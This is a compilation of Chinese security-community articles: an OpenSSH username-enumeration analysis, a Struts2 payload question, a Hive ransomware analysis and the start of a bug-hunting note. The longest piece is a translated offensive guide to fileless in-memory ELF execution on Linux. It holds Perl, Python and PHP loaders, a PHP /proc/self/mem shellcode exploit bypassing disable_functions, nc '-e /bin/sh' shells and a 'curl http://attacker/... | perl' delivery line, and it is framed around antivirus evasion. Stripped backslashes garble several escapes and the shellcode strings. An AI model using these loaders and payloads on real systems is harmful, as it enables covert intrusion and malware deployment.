当然，OpenSSH的行为是在源代码中定义好的。函数`userauth_pubkey`是实现的身份验证功能之一，特别用于通过公钥进行身份验证。验证失败返回0，验证成功则返回1。当收到消息`SSH2_MSG_USERAUTH_REQUEST`（类型为publickey）时就会调用它，之后这个结果会被用来将消息`SSH2_MSG_USERAUTH_FAILURE`或`SSH2_MSG_USERAUTH_SUCCESS`发送回客户端。
该函数的逻辑如下：
如果是未知用户名->0
如果是已知用户名，但密钥不正确->0
如果是已知用户名，并且密钥正确 ->1
一个[很聪明的人](http://seclists.org/oss-sec/2018/q3/136)想到的是，在步骤1和步骤2之间可以停止执行函数`userauth_pubkey`。步骤1后，函数`userauth_pubkey`从客户端发送的消息中检索字符串。如果这个失败，由于字符串格式错误，进程将停止并关闭连接，而不发送任何消息。
这种情况可能是由函数`packet_get_string`导致的：
如果用户名存在，则在步骤1之后将从消息中提取字段。
第一个字段为boolean（一个字节），使用`函数packet_get_char（）`提取。当认证类型为publickey时，该字段值等于1。接下来是2个字符串：算法和密钥。在SSH消息中，字符串会被编码为`长度-值`键值对。这个字符串由4个字节（即字符串的长度）组成，后面紧跟包含字符串内容的可变字节数。长度会被编码为bigendian（大端）格式，即先存放4字节整数的最高有效字节，然后是较低有效字节。
函数`packet_get_string`从消息中提取并验证字符串, 即检查字符串的长度是否正确。但此功能依赖于其他项：
函数`ssh_packet_get_string`的定义如下：
函数`ssh_packet_get_string`会调用函数`sshpkt_get_string`，如果其返回值不为0，则调用函数`fatal`,而函数`fatal`会记录严重错误的事件，然后终止OpenSSH进程，且不发回任何消息。
现在我们来看看另一个函数链：函数`sshpkt_get_string`调用`sshbuf_get_string`：
`sshbuf_get_string`调用`sshbuf_get_string_direct`：
`sshbuf_get_string_direct`调用`sshbuf_peek_string_direct`：
最后，`sshbuf_peek_string_direct`函数实现字符串的验证：
如果消息中的剩余数据小于4个字节（不能包含字符串的长度），或者消息中的剩余数据小于消息的长度，则返回错误提示信息`SSH_ERR_MESSAGE_INCOMPLETE`（在日志中能找到）字符串。
总结这一系列函数：当
`packet_get_string`用于从消息中提取字符串时，如果字符串格式错误，则会发生严重的异常，从而导致OpenSSH进程终止。
这正是PoC
Python脚本的触发条件。首先，它与OpenSSH服务器建立加密连接，然后发送格式错误的`SSH2_MSG_USERAUTH_REQUEST`（类型为publickey）消息。这个脚本将`Paramiko`的`add_boolean`函数重新定义为`NULL`函数。`Paramiko`是用于SSH通信的Python模块。通过重新定义`add_boolea`n函数，消息中省略了布尔字段（就在算法和关键字符串字段之前）。
当函数`userauth_pubkey`解析这个格式错误的消息时，首先读取boolean字段。由于该字段实际上是丢失的，因此读取下一个字段的第一个字节（函数`packet_get_char`）：算法字符串的4字节长度的最高有效字节。调用下一个函数`packet_get_string`来读取（并验证）算法字符串。由于缺少boolean字段，毋庸置疑，这注定失败。
以下是格式稍好的消息的解析过程：
格式错误的消息是缺少boolean值的，但解析函数并不知道这一点，于是它将字符串的第一个字节解析为boolean字段：看起来就像消息向左移一个字节：
结果就是解析了1907字节长的字符串（0x00000773十六进制），这比消息本身长。因此，函数`ssh_packet_get_string`将调用`fatal`函数，导致OpenSSH进程终止。
### 漏洞总结
这是一个微妙的错误, 它不是关于缓冲区溢出导致远程代码执行或缺少输入验证的问题。
没有缓冲区溢出，所有输入在使用前都要经过验证。这里的问题是输入验证是在一些功能处理已经发生了之后再发生的：可能出于性能原因，首先检查用户名以查看它是否存在，如果它不存在，那么进一步的输入验证和处理就毫无必要了。
使用已经存在的用户名，将会进行输入验证，并且可以在不发送消息的情况下关闭连接。这可用于导出用户名的存在与否。
这个问题的解决方案很简单：在任何功能处理之前，切换顺序并首先进行所有的输入验证。
在其他身份验证功能中可能会出现相同的错误。一个粗略的，不完整的方法是检查表达式`！authctc-> valid`，如下所示：
在基于主机的身份验证中的确犯了同样的错误（可以在GitHub
[commit](https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0)中看到）：
以及Kerberos的身份验证：
并且潜在的SSH1的RSA身份验证（我们没有进一步检查，因为它不再存在于OpenBSD等实现中）：
请注意，这种风险万不可轻视！
### 结论
您在使用OpenSSH的过程中，可以自己动手来减缓这个漏洞。在修补程序可用并部署之前，可以禁用易受攻击的身份验证机制。例如，通过禁用公钥身份验证，PoC脚本将不再有效，因为已经拒绝了格式错误的身份验证请求。
当然，如果您不使用公钥认证，我们只建议您禁用公钥认证。如果您使用它，请不要切换到密码验证，但继续使用公钥验证！这不是远程执行代码漏洞，而是一个信息泄露漏洞。
您还可以检查日志中是否有利用这个漏洞的迹象。致命错误可能是一个迹象。在Ubuntu上使用这个PoC，致命错误是“不完整的消息”。但是，此消息可能略有不同，具体得看您的OpenSSH版本，其他方法也可以生成格式错误的消息，这可能会导致另一个致命错误。例如，可以构造一个字符串长度超过最大允许值的身份验证请求。
在默认配置中，您只会收到此致命错误。例如，客户端的IP地址将不会被记录。您可以通过将日志级别（LogLevel）从INFO级别提高到VERBOSE级别，从而创建额外的日志条目，其中包含客户端的IP地址。请注意，这将生成更大的日志，并且您应该随时留意日志不会超过您的可用容量。 | 社区文章 |
# Linux系统内存执行ELF的多种方式
|
##### 译文声明
本文是翻译文章，文章原作者 fbkcs，文章来源：blog.fbkcs.ru
原文地址：<https://blog.fbkcs.ru/en/elf-in-memory-execution/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
无文件（fileless）恶意软件攻击现在已经越来越流行，这一点并不奇怪，因为这种技术通常不会留下蛛丝马迹。本文的重点不是介绍如何在Windows
RAM中执行程序，我们的目标是GNU/Linux。Linux是服务器行业的领头羊，在上百万嵌入式设备和大多数web服务上都能看到Linux的身影。在本文中，我们将简单探讨如何在Linux系统内存中执行程序，也讨论了如何应付具有挑战性的环境。
无文件执行比较隐蔽，比较难检测及跟踪。由于该过程中不涉及新文件写入磁盘，也没有修改已有文件，因此基于文件系统一致性的检测工具通常不会警告管理员。反病毒软件（*nix用户通常会忽略这种产品）在程序启动后通常不会监控程序内存。其外，当系统安装完毕后，许多GNU/Linux发行版会提供各种调试工具、解释程序、编译器和程序库，这些都可以帮助我们实现无文件技术隐蔽执行。然而，无文件执行也有一些缺点，比如无法在系统意外断电或者重启时正常驻留，但程序正常情况下可以保持运行，直到目标设备断电下线。
无文件技术可以用来传播恶意软件，但功能并不局限于此。如果我们对运行速度要求较高，可以将程序拷贝到内存中运行。许多Linux发行版可以完全在内存中运行，因此在搭载硬盘驱动器的情况下，我们还是有可能实现不落盘运行。对于信息安全而言，无文件技术在后渗透（post-exploitation）阶段和情报收集阶段非常有用，可以尽可能规避安全审计。
根据[barkly.com](https://www.barkly.com/)的介绍，在2018年35%的病毒攻击中涉及到无文件攻击技术。在Windows系统上，黑客们通常使用内置的PowerShell来加载和运行代码。这些技术之所以非常流行，原因之一是这些技术可以在Powershell
Empire、Powersploit以及Metasploit中使用，非常方便。
## 二、C语言
在大多数情况下，安装在主机设备上的Linux发行版通常会安装一些内置软件，如Python、Perl解释器以及C编译器，这些都是“开箱即用”的工具。此外，web托管平台上通常也可以使用PHP。因此我们可以使用这些语言来执行代码。在Linux系统上，我们可以使用一些非常知名方法在内存中执行代码。
最简单的一种方法就是利用挂载到文件系统中的共享内存分区。
如果我们将可执行文件挂载到`/dev/shm`或者`/run/shm`中，有可能实现内存执行，因为这些目录实际上是挂载到文件系统上已分配的内存空间。但如果我们使用`ls`命令，就可以像查看其他目录一样查看这些目录。此外，已挂载的这些目录设置了`noexec`标志，因此只有超级用户才能执行这些目录中的程序。这意味着我们需要找到更为隐蔽的其他方法。
我们可以考虑使用[memfd_create(2)](http://man7.org/linux/man-pages/man2/memfd_create.2.html)这个系统调用。该系统调用与[malloc(3)](https://linux.die.net/man/3/malloc)比较类似，但并不会返回指向已分配内存的一个指针，而是返回指向某个匿名文件的文件描述符，该匿名文件以链接（link）形式存放在`/proc/PID/fd/`文件系统中，可以使用[execve(2)](http://man7.org/linux/man-pages/man2/execve.2.html)来运行。[memfd_create](http://man7.org/linux/man-pages/man2/memfd_create.2.html)帮助文档的解释如下：
>
> `name`参数代表文件名，在`/proc/self/fd/`目录中我们可以看到该文件名为符号链接的目的文件。显示在`/proc/self/fd/`目录中的文件名始终带有`memfd:`前缀，并且只用于调试目的。名称并不会影响文件描述符的行为，因此多个文件可以拥有相同的名称，不会有任何影响。
在C语言中使用`memfd_create()`的示例代码如下：
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
int
main()
{
int fd;
pid_t child;
char buf[BUFSIZ] = "";
ssize_t br;
fd = syscall(SYS_memfd_create, "foofile", 0);
if (fd == -1)
{
perror("memfd_create");
exit(EXIT_FAILURE);
}
child = fork();
if (child == 0)
{
dup2(fd, 1);
close(fd);
execlp("/bin/date", "/bin/date", NULL);
perror("execlp date");
exit(EXIT_FAILURE);
}
else if (child == -1)
{
perror("fork");
exit(EXIT_FAILURE);
}
waitpid(child, NULL, 0);
lseek(fd, 0, SEEK_SET);
br = read(fd, buf, BUFSIZ);
if (br == -1)
{
perror("read");
exit(EXIT_FAILURE);
}
buf[br] = 0;
printf("child said: '%s'n", buf);
exit(EXIT_SUCCESS);
}
如上代码使用`memfd`创建一个子进程，将其输出重定向至一个临时文件，等待子进程结束，从临时文件中读取子进程输出数据。通常情况下，*nix环境会使用`|`管道将一个程序的输出重定向至另一个程序的输入。
在解释型语言（如perl、python等）中我们也可以使用`syscall()`。接下来我们看一下可能碰到的一种场景，演示如何使用`memfd_create()`将可执行文件载入内存中。
## 三、Perl
假设现在我们已经找到了命令注入点，我们需要找到在目标上执行系统命令的方法。在perl中我们可以使用[syscall()](https://perldoc.perl.org/functions/syscall.html)函数，此外我们还需要将ELF文件以匿名文件内容的形式直接写入内存。为了完成这个任务，我们可以将其写在脚本源码中，使用命令注入来注入脚本，当然我们也可以选择网络下载方式。然而，这里我们要清楚目标Linux内核版本，因为只有在
**3.17** 或更高版本内核中才能使用`memfd_create()`。
接下来进一步分析`memfd_create()`以及`execve()`。
对于匿名文件我们准备使用`MFD_CLOEXEC`常量，利用该常量可以在新打开的文件描述符上设置`close-on-exec`（`FD_CLOEXEC`）标志。这意味着当我们`execve()` ELF文件时，我们的文件描述符就会被自动关闭。
由于我们使用的是Perl的`syscall()`，因此需要调用号（call number）以及数字常量（numeric
constant）。我们可以在`/usr/include`或者网上找到这些信息。系统调用号位于`#define`中，前缀为`__NR_`。在这个场景中，64位Linux系统上`memfd_create()`的系统调用号为`319`，数字常量为`FD_CLOSEXEC
0x0001U`（即`linux/memfd.h`中的`1`）。
找到所需的编号后，我们可以在Perl中实现与C语言等效的`memfd_create(name,
MFD_CLOEXEC)`语句。我们还需要为文件选择一个名称，前面提到过，我们会在`/proc/self/fd/`目录中看到带有`/memfd:`前缀的文件名。因此我们最好的方法就是选择接近`[:kworker]`或者看上去不大可疑的另一个名称。
比如我们可以传入空的字符串：
my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
die "memfd_create: $!";
}
现在`$fd`为匿名文件的文件描述符，我们需要将ELF写入该文件。Perl中有个[open()](http://perldoc.perl.org/functions/open.html)函数，通常用来打开文件，我们也可以使用该函数，在参数中指定`>&=FD`（而非文件名），将已打开的文件描述符转化为文件句柄。此外这里还需要设置`autoflush[]`。
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
现在我们已经搞定指向匿名文件的一个文件描述符。接下来我们需要将可执行文件提供给Perl，可以通过如下方式：
$ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary
以上命令会输出许多行，如下所示：
print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
执行这些语句就可以将我们的可执行文件载入内存中，等待执行。
### fork()
我们还可以使用[fork()](https://linux.die.net/man/2/fork)，虽然这不是必选项，但如果我们不想在运行ELF文件后退出，`fork()`就可以派上用场。通常情况下，在perl中生成子进程的方式如下所示：
while ($keep_going) {
my $pid = fork();
if (-1 == $pid) { # Error
die "fork: $!";
}
if (0 == $pid) {
exit 0;
}
}
我们还可以调用`fork()`两次，再配合上[setsid(2)](http://man7.org/linux/man-pages/man2/setsid.2.html)，这样就能生成独立的子进程，结束父进程运行：
# Start a child process
my $pid = fork();
if (-1 == $pid) { # Error
die "fork1: $!";
}
if (0 != $pid) { # the parent process terminates
exit 0;
}
# the child process becomes the parent process
if (-1 == syscall(112)) {
die "setsid: $!";
}
# a child process (grandchild) starts
$pid = fork();
if (-1 == $pid) { # Error
die "fork2: $!";
}
if (0 != $pid) { # the child process terminates
exit 0;
}
# “grandchild” code
现在我们就可以多次运行ELF进程。
### Execve()
[Execve()](http://man7.org/linux/man-pages/man2/execve.2.html)这个系统调用可以用来执行程序。在perl中我们可以使用[Exec()](http://perldoc.perl.org/functions/exec.html)，这个函数效果类似，语法也更加简单。我们需要传递给`exec()`两个参数：待执行的文件（内存中的ELF文件）以及进程名。通常情况下，文件名和进程名相同，但由于我们可以在进程列表中看到`/proc/PID/fd/3`信息，因此我们需要重命名进程。调用`exec()`的语法如下：
exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";
如上命令可以运行Netcat，但这个东西太像后门了，我们想要运行更为隐蔽的目标。
新创建的进程不会以`/proc/PID/fd`符号链接形式打开匿名文件，但我们还是能通过`/proc/PID/exe`符号链接看到我们的ELF文件，该符号链接指向的是进程正在执行的文件。
现在我们已经实现在Linux内存中执行ELF文件，不会在磁盘或者文件系统中留下任何痕迹。为了尽快且方便地加载可执行文件，我们可以将带有ELF文件的脚本通过管道交给Perl解释器执行：
$ curl http://attacker/evil_elf.pl | perl
## 四、Python
与Perl类似，在Python中我们也可以执行如下操作：
* 使用`memfd_create()`系统调用来创建匿名文件
* 使用可执行ELF文件填充该文件
* 执行该文件，也可以使用`fork()`多次执行该文件
import ctypes
import os
# read the executable file. It is a reverse shell in our case
binary = open('/tmp/rev-shell','rb').read()
fd = ctypes.CDLL(None).syscall(319,"",1) # call memfd_create and create an anonymous file
final_fd = open('/proc/self/fd/'+str(fd),'wb') # write our executable file.
final_fd.write(binary)
final_fd.close()
fork1 = os.fork() #create a child
if 0 != fork1: os._exit(0)
ctypes.CDLL(None).syscall(112) # call setsid() to create a parent.
fork2 = os.fork() #create a child from the parent.
if 0 != fork2: os._exit(0)
os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') # run our payload.
为了在python中调用`syscall`，我们需要标准的[ctypes](https://docs.python.org/2/library/ctypes.html)以及[os](https://docs.python.org/2/library/os.html)库，以便写入并执行文件、管理进程。所有操作步骤都与perl类似。
在如上代码中，我们读取的是位于`/tmp/`目录中的一个文件，我们也可以选择从web服务器远程加载该文件。
## 五、PHP
前面我们已经分析过perl以及python的实现代码。许多操作系统默认情况下会安装这些语言的解释器，下面让我们讨论最为有趣的一种场景。如果由于各种因素影响，我们无法使用perl以及python解释器，那么可以考虑使用PHP。这种语言在web开发者中非常流行，如果我们可以在web应用执行代码，那么很有可能就会碰到PHP解释器。
遗憾的是，php并没有处理`syscall`的内置机制。
Beched之前在rdot论坛上发表过一篇[文章](https://rdot.org/forum/showthread.php?t=3309)，文中使用[procfs](http://man7.org/linux/man-pages/man5/proc.5.html)（`/proc/self/mem`）在当前进程内存空间中将`open`重写为`system`，从而绕过`disable_functions`的限制。
我们使用了这种技巧来重写代码中涉及到系统调用的一些函数。
我们以shellcode的形式将`syscall`传递给php解释器，使用一系列命令来传递系统调用。
接下来我们一步一步实现PHP代码，这个过程中涉及到一些小技巧。
首先，我们设定所需的一些参数：
$elf = file_get_contents("/bin/nc.traditional"); // elf_payload
$args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ...
然后指定偏移地址：内存中的高位（higher）及低位（lower）值，以便后面注入shellcode：
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
然后构造用来“unpack”二进制文件的一个函数，先执行[反转](http://www.php.su/strrev)操作，然后依次执行[bin2hex()](http://php.net/manual/ru/function.bin2hex.php)、[hexdex()](http://php.net/manual/ru/function.hexdec.php)，将二进制数值转化为十进制数值，为后面注入内存做准备：
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
然后解析ELF文件，获取偏移值：
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
此外我们还需要定义已安装的PHP版本信息：
if (!defined('PHP_VERSION_ID')) {
$version = explode('.', PHP_VERSION);
define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2]));
}
if (PHP_VERSION_ID < 50207) {
define('PHP_MAJOR_VERSION', $version[0]);
define('PHP_MINOR_VERSION', $version[1]);
define('PHP_RELEASE_VERSION', $version[2]);
}
echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "n";
检查操作系统类型及Linux内核版本：
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exitingn";
exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not workn";
}
我们重写了`open[@plt](https://github.com/plt
"@plt")`的地址，以便绕过`disable_functions`限制。我们适当修改了beched的代码，现在可以将shellcode注入内存中。
首先我们需要在二进制文件中找到PHP解释器的地址，为了完成这个任务，我们可以运行`/proc/self/exe`，然后使用`parseelf()`解析可执行文件：
echo "[INFO] Trying to get open@plt offset in PHP binaryn";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed. Exitingn";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#s+(/.+libc-.+)#', $maps, $r);
echo "[INFO] Libc location: $r[1]n";
preg_match('#s+(.+[stack].*)#', $maps, $m);
$stack = hexdec(explode('-', $m[1])[0]);
echo "[INFO] Stack location: ".dechex($stack)."n";
$pie_base = hexdec(explode('-', $maps)[0]);
echo "[INFO] PIE base: ".dechex($pie_base)."n";
echo "[INFO] Trying to get open and system symbols from Libcn";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed. Exitingn";
exit;
}
找到`open()`函数的地址：
echo "[+] Got them. Seeking for address in memoryn";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "n";
echo "[INFO] Rewriting open@plt addressn";
$mem = fopen('/proc/self/mem', 'wb');
现在我们可以开始加载可执行文件。首先我们创建一个匿名文件：
$shellcode_loc = $pie_base + 0x100;
$shellcode="x48x31xD2x52x54x5Fx6Ax01x5Ex68x3Fx01x00x00x58x0Fx05x5AxC3";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php);
fwrite($mem, packlli($shellcode_loc));
echo "[+] Address written. Executing cmdn";
$fp = fopen('fd', 'w');
将payload写入匿名文件：
fwrite($fp, $elf);
查找文件描述符编号：
$found = false;
$fds = scandir("/proc/self/fd");
foreach($fds as $fd) {
$path = "/proc/self/fd/$fd";
if(!is_link($path)) continue;
if(strstr(readlink($path), "memfd")) {
$found = true;
break;
}
}
if(!$found) {
echo '[-] memfd not found';
exit;
}
将可执行文件路径写入栈：
fseek($mem, $stack);
fwrite($mem, "{$path}x00");
$filename_ptr = $stack;
$stack += strlen($path) + 1;
fseek($mem, $stack);
处理待传给可执行程序的参数：
fwrite($mem, str_replace(" ", "x00", $args) . "x00");
$str_ptr = $stack;
$argv_ptr = $arg_ptr = $stack + strlen($args) + 1;
foreach(explode(' ', $args) as $arg) {
fseek($mem, $arg_ptr);
fwrite($mem, packlli($str_ptr));
$arg_ptr += 8;
$str_ptr += strlen($arg) + 1;
}
fseek($mem, $arg_ptr);
fwrite($mem, packlli(0x0));
echo "[INFO] Argv: " . $args . "n";
然后调用`fork()`执行payload：
echo "[+] Starting ELFn";
$shellcode = "x6ax39x58x0fx05x85xc0x75x28x6ax70x58x0fx05x6ax39x58x0fx05x85xc0x75x1ax48xbf"
. packlli($filename_ptr)
. "x48xbe"
. packlli($argv_ptr)
. "x48x31xd2x6ax3bx58x0fx05xc3x6ax00x5fx6ax3cx58x0fx05";
fseek($mem, $shellcode_loc);
fwrite($mem, $shellcode);
fopen('done', 'r');
exit();
## 六、Shellcode
Shellcode实际上是可以注入内存运行的一组字节，缓冲区溢出攻击和其他攻击场景中通常会涉及这方面内容。在我们的应用场景中，shellcode并不会返回远程服务器的命令提示符（shell），但可以帮助我们执行所需的命令。
为了获取所需的字节，我们可以开发C代码然后将其转成汇编代码，或者直接使用汇编语言来开发。
我们先来试着理解隐藏在字节数组背后的内容。
push 57
pop rax
syscall
test eax, eax
jnz quit
首先我们需要运行`fork`，64位系统上对应的调用号为`57`，具体调用表可参考[此处链接](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)。
然后我们需要调用`setsid`（调用号为`112`）将子进程转换成父进程。
push 112
pop rax
syscall
然后再次调用`fork`：
push 57
pop rax
syscall
test eax, eax
jnz quit
然后再轻车熟路调用`execve()`：
; execve
mov rdi, 0xcafebabecafebabe ; filename
mov rsi, 0xdeadbeefdeadbeef ; argv
xor rdx, rdx ; envp
push 0x3b
pop rax
syscall
push -1
pop rax
ret
最后调用`exit()`（调用号为`60`）结束进程。
; exit
quit:
push 0
pop rdi
push 60
pop rax
syscall
通过这种方式我们替换了`open()`函数代码。我们的可执行文件会被注入到内存中，使用PHP解释器运行。我们可以使用shellcode来表示系统调用。
## 七、Metasploit
我们开发了一个MSF[模块](https://github.com/fbkcs/msf-elf-in-memory-execution)，方便大家使用这些技术。
我们可以将该模块文件拷贝至`$HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb`，然后在Metasploit控制台执行`reload_all`命令，再输入`use
post/linux/manage/download_exec_elf_in_memory`命令来使用该模块（如果拷贝至其他目录，需要使用相应的路径）。在使用该模块之前，我们需要指定一些选项。输入`show
options`显示可设置的选项清单：
* `ARGS`：传递给可执行文件的参数
* `FILE`：可执行文件路径，这里我们使用的是Netcat
* `NAME`：进程名。可以使用任意名称。比如，如果想隐蔽一点，可以使用`kworker:1`，如果想有趣一点，便于演示，可以使用`KittyCat`
* `SESSION`：meterpreter会话。这个模块主要服务于后渗透（post-exploitation）场景
* 然后我们需要设定托管payload的http服务器地址及端口，通过`SRVHOST`及`SRVPORT`来设定。
* `VECTOR`：使用该方法在内存中执行程序，这不是必选参数，如果未设定，则脚本自己会寻找所需的解释器。目前我们支持PHP、Python以及Perl。
接下来运行`exlpoit`或者`run`命令，大家可以参考[演示视频](https://www.youtube.com/watch?v=y9vRUItW_5c)。
整个工作原理如下：我们指定所需的会话（可以是meterpreter或者普通的反弹shell），然后设定ELF文件的本地路径、参数以及显示在进程列表中名称。启动本地web服务器来托管payload，开始搜索用于下载的实用工具（目前支持curl和wget），找到可使用的工具后，如果我们没有在`VECTOR`中指定所需的解释器，则会开始搜索所有可用的解释器。如果找到可用的解释器后，就从我们的web服务器上下载payload，通过管道传输至对应的解释器，效果类似于`$
curl http://hacker/payload.pl | perl`命令。
## 八、总结
在Linux系统中实现无文件执行ELF是渗透测试中一种非常有用的技术。这种方法较为隐蔽，可以绕过各种类型的反病毒保护机制、系统完整性保护机制以及基于硬盘监控的防护系统。通过这种方法，我们能够以最小的动静访问目标。
在本文中我们用到了Linux发行版、内置设备固件、路由器以及移动设备中常见的解释型语言，有些小伙伴们已经[研究过](https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html)这方面内容，在此特别感谢他们对我们的帮助。 | 社区文章 |
根据坛子里的 “复现过程” 无法复现, 还有网上的一些复现过程也没有复现成功。
编辑(eidt)请求：
GET /struts2-rest-showcase/orders/3/edit HTTP/1.1
Referer: <http://192.168.165.149:8080/struts2-rest-showcase/orders.xhtml>
部分payloay: <command><string>/usr/bin/touch</string><string>/tmp/xxs</string>
</command>
注： 点击编辑，是个GET请求，论坛里文章确是POST, 编辑后 点击“submit” 是个POST请求，有3个参数，但这个不能添加xml payload.
view 请求：
GET /struts2-rest-showcase/orders/3 HTTP/1.1
Referer: <http://192.168.165.149:8080/struts2-rest-showcase/orders.xhtml>
部分直接换行加payload
：<command><string>/usr/bin/touch</string><string>/tmp/xxs</string> </command>
还是无法写文件成功。
坛友们有复现成功的吗，能详细写下具体发包的请求吗？这个确实很简单，但不知道哪个环节出问了，环境都换几套了。 | 社区文章 |
# 一款全新的勒索病毒Hive来袭，已有企业中招
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Hive勒索病毒是一款全新的勒索病毒，笔者从6月26号开始关注这款全新的勒索病毒，知识星球相关信息，如下所示：
id-ransomware网站也更新了此勒索病毒的相关信息，如下所示：
该勒索病毒采用GO语言编写，加密算法使用AES+RSA，同时这款勒索病毒也采用了“双重”勒索的模式，通过在暗网上公布受害者数据，来逼迫受害者交纳赎金，通过监控发现虽然这款勒索病毒出来不久，但是非常活跃。
## 详细分析
该勒索病毒使用UPX加壳处理，脱壳之后，样本采用GO语言编写，相关的函数信息，如下所示：
生成RSA密钥以及勒索提示信息内容，如下所示：
生成勒索提示信息文件HOW_TO_DECRYPT.txt，如下所示：
获取内置的RSA公钥信息，如下所示：
遍历进程，结束相关进程，如下所示：
结束与数据库相关的服务，如下所示：
自删除操作，生成一个BAT文件hive.bat，进行自删除操作，如下所示：
BAT文件内容，如下所示：
删除磁盘卷影操作，如下所示：
遍历磁盘并加密文件，如下所示：
清除内存中的密钥信息，如下所示：
之前有一些勒索病毒可以在内存中搜索密钥，然后通过找到的密钥解密文件，这款勒索病毒擦除内存中的密钥信息，也是为了防止这种解密方案，该勒索病毒会提示解密网站以及登录的帐号和密码，如下所示：
登录之后，解密网站信息，如下所示：
6月14日左右，商业地产软件解决方案公司Altus Group披露了相关的安全漏洞，随后6月26日其数据被Hive在其网站上公布，如下所示：
不到一个月的时候，到目前为止该勒索病毒黑客组织已经公布了四家受害者企业的数据，如下所示：
可见这款勒索病毒的行动非常之快，未来可能还会有更多的受害者。
## 总结
勒索病毒现在越来越多了，而且不断有新的组织加入到勒索病毒攻击活动当中，不管是新型的勒索病毒黑客组织，还是已知的勒索病毒黑客组织都一直在寻找新的目标，从来没有停止过发起新的攻击，未来几年勒索攻击仍然是全球最大的安全威胁。
勒索病毒黑客组织使用的攻击手法越来越多，也越来越复杂，未来这些勒索病毒黑客组织会越来越多，使用的手法会越来越复杂，APT攻击技术被广泛应用到了勒索攻击当中。 | 社区文章 |
这几天在补天挖公益SRC的时候，针对一个旅游网站发起了挑战，因为之前就尝试挖过这个网站，所以有一丝熟悉感。经过3天的挖掘工作，发现了网站内基本没有CSRF防护，但是真正能利用的点就只有一个CSRF修改Email地址，于是我继续挖掘其他漏洞，今天终于有所发现。
### 一个xss
我在主站测试过后，把目标放到了它的其他业务上，比如这个社区功能。社区功能可以发表游记，和主流的旅游网站一样(比如携程、去哪儿)，游记是个值得测试的功能点，毕竟它有那么多输入输出，很可能存在xss(因为我之前就在这个网站上挖到过xss，所以感觉它的xss防护并不是很好)。
